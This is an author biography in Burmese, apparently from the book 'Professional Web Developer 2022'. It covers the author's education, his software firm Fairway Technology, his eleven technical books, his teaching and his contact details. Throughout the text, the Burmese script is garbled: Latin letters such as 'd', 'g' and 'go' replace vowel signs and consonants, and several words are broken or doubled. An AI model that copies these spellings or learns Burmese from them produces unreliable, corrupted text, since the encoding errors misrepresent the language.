အမည်ရင်း  အိdမာင်  goစ်ပြပီး  မdကွးတိုင်းdဒသကြကီး  သရက်ပြမို့ဇာတိgoစ်သည်။  (၂၀၀၀)  gပည့်နှစ်တွင်
သရက်ပြမို့  အ.ထ.က  (၁)  မှ  တက္ကသုိလ်ဝင်တန်းစာdမးပဲွdအာင်gမင်ပြပီး  (၂၀၀၁)  ခုနှစ်မှစတင်ကာ ပညာ
ဆက်လက် သင်ယူနိုင်ရန် ရန်ကုန်ပြမို့သ့ုိ dgပာင်းdရ¢့ အdgခချခဲ့သည်။ (၂၀၀၃) ခုနှစ်တွင် ဒZုံတက္ကသုိလ် လ့ူ
စွမ်းအားအရင်းအgမစ်ဌာနမှ dပးအပ်သည့် ကွန်ပျူတာနည်းပညာ ဒီပလုိမာzွဲ့  (Diploma in Computer
Studies)  ကို  ရရှိခဲ့ပြပီး  ထုိအချနိ်မှစတင်၍  Software  dရးသားgခင်း လုပ်ငန်းများကို  လုပ်ကိုင်လာခဲ့သည်။
(၂၀၀၆)  ခုနှစ်မှ စတင်ကာ Web နည်းပညာအdgခgပု  Software  များကို စတင်dရးသားခဲ့ပြပီး ယdန့အချနိ်
ထိ Web Developer တစ်ဦးအgoစ် ဆက်လက်ရပ်တည် လုပ်ကိုင်dနဆဲgoစ်ပါသည်။

ကွန်ပျူတာနည်းပညာများကို  အdလးထားdလ့လာdန၍ ဆက်လက်တက်dရာက်gခင်း မgပုgoစ်ပဲ  ရပ်တန့်
ထားခဲ့သည့် အdဝးသင်တက္ကသိုလ် (ဥပdဒပညာအထူးgပု) ကို (၂၀၀၉) ခုနှစ်တွင် gပန်လည် တက်dရာက်ခဲ့
ပြပီး (၂၀၁၃) ခုနှစ်တွင် dအာင်gမင်၍ ဥပdဒပညာzွဲ့ (LL.B) ကိရုရှိခဲ့သည်။

(၂၀၀၉)  ခုနှစ်တွင်  Durosoft  အမည်goင့်  Web Development  လုပ်ငန်းတစ်ခုကို  ဦးdဆာင်တည်dထာင်ခဲ့
သည်။  gပည်တွင်းgပည်ပမှ  အပ်နှံeကသည့်  Outsource  Project  များကို  အဓိကထား dဆာင်ရွက်ခဲ့သည်။
ထ့ုိdနာက်  (၂၀၁၁)  ခုနှစ်တွင်  Outsource  Project  များ  dဆာင်ရွက်dနရာမှ  မိမိတို့ကိုယ်ပုိင်  Software
Product များကိုသာ dရးသား dတာ့မည် ဟူသည့် ရည်ရွယ်ချက်goင့် Durosoft အား Fairway Web ဟူ၍
အမည်dgပာင်းကာ ဆက်လက် လုပ်ကိုင်ခဲ့သည်။  (၂၀၁၆)  ခုနှစ်မှစတင်၍  Fairway Web  အား  Fairway
Technology  ဟု  အမည်dgပာင်းကာ  Software  များ  dရးသားgခင်း၊  နည်းပညာဝန်dဆာင်မှုdပးgခင်းနှင့်
သင်တန်းများ  ပ့ုိချgခင်းတို့ကို  dဆာင်ရွက်လျှက်  ရှိပါသည်။  ဤစာdရးသားdနစဉ်တွင်  Fairway
Technology ၏ Managing Partner အgoစ် တာဝန်ထမ်းdဆာင်လျှက်ရှိပါသည်။
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(၂၀၁၃) ခုနှစ်ဇွန်လတွင် Professional Web Developer စာအုပ် ပထမအကြကိမ်ကို dရးသားgပုစု goန့်ချနီိုင်
ခဲ့သည်။  (၂၀၁၄)  ခုနှစ်ဇွန်လတွင်  Ubuntu -  သင့်အတွက် Linux စာအုပ်ကို dရးသားgပုစု goန့်ချနီိုင်ခဲ့ပြပီး၊
(၂၀၁၅)  ခုနှစ်  စကတ်င်zာလတွင်  Rockstar  Developer စာအုပ်ကို  dရးသားgပုစု  goန့်ချနီိုင်ခဲ့သည်။
(၂၀၂၀-၂၀၂၁)  ခုနှစ်ကာလများတွင်  Bootstrap လုိတိုရှင်း၊  JavaScript လုိတိုရှင်း၊  PHP လုိတိုရှင်း၊
Laravel လုိတိုရှင်း၊  React လုိတိုရှင်း၊  API လုိတိုရှင်း နှင့်  Bitcoin လုိတိုရှင်း ဟူdသာ စာအုပ် (၇) အုပ်ကို
ဆက်တိုက် dရးသားgoန့်ချနီိုင်ခဲ့သည်။ ဤ  Professional Web Developer 2022 စာအုပ်ကို  ဆက်လက်
dရးသား goန့်ချနီိုင်ခဲ့သည့်အတွက် စုစုdပါင်း dရးသားgပုစုထားသည့် နည်းပညာစာအုပ်dပါင်း (၁၁) အုပ် ရိှ
သွားခဲ့ပြပီ goစ်ပါသည်။

(၂၀၁၀) ခုနှစ်မှ စတင်ကာ Web Development ဆိုင်ရာ သင်တန်းများကို ပ့ုိချလာခဲ့ပြပီး၊ ယခုအခါ Fairway
Technology သင်တန်းdကျာင်း၏ dကျာင်းအုပ်ကြကီးအgoစ်  Web နှင့်  Mobile နည်းပညာဆိုင်ရာ သင်တန်း
များကို ဦးdဆာင်ပ့ုိချdနပါသည်။ 

ဇနီးgoစ်သူ နှင်းdဝလွင်၊ သမီးgoစ်သူ စုရတနာdမာင် တို့နှင့်အတူ ရန်ကုန်ပြမို့တွင် အdgခချ dနထုိင်လျှက် ရိှ
သည်။  စာdရးသူအား  ဆက်သွယ်လိုပါက  eimg@fairwayweb.com  အီးdမးလ်လိပ်စာသို့  လည်dကာင်း၊
စာdရးသူ၏ Website goစ်dသာ eimaung.com တွင် doာ်gပထားသည့် ဆက်သွယ်ရန် အချက်အလက်များ
အတိုင်းလည်dကာင်း ဆက်သွယ်နိုင်ပါသည်။
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